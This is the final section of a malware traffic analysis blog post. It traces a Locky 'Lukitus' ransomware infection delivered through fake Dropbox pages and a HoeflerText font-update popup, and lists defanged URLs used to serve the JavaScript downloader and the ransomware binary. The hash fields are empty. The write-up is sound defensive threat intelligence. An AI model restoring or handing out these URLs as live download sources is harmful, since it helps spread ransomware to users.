  • hxxp://dippydado[.]net/af0.js

URL that should've returned some sort of malware when viewing the fake Dropbox sites in IE or Edge (but did not work):

  • hxxp://dippydado[.]net/json.php 

URL that returned Win.JSFontlib09.js after clicking 'update' on the HoeflerText popup:

  • hxxp://gclubrace[.]info/json.php 

URL to retrieve the Locky binary after double-clicking Win.JSFontlib09.js:

  • hxxp://geocean.co[.]id/657erikftgvb??pGDIWEKDHD=pGDIWEKDHD

Locky ransomware post-infection URL:


SHA256 hash for Win.JSFontlib09.js:

SHA256 hash for the Locky binary:

Final words

Shown above:  Desktop of an infected Windows host from my lab.

Ultimately, this infection wasn't very innovative.  The ransomware was the "Lukitus" variant of Locky, which has been out for a while, and it's easily detectable.  We've seen all the individual techniques used during the entire infection chain.  However, it cobbled together some existing tricks like HoeflerText popups with fake Dropbox pages, so it briefly excited me as I looked into it.

As always there are plenty of good practices that users and administrators can follow to avoid getting infected by this malware.

A pcap of the network traffic can be found here.  It's password protected with the standard password.  If you don't know it, look at the "about" page of my blog at malware-traffic-analysis.net.

Brad Duncan
brad [at] malware-traffic-analysis.net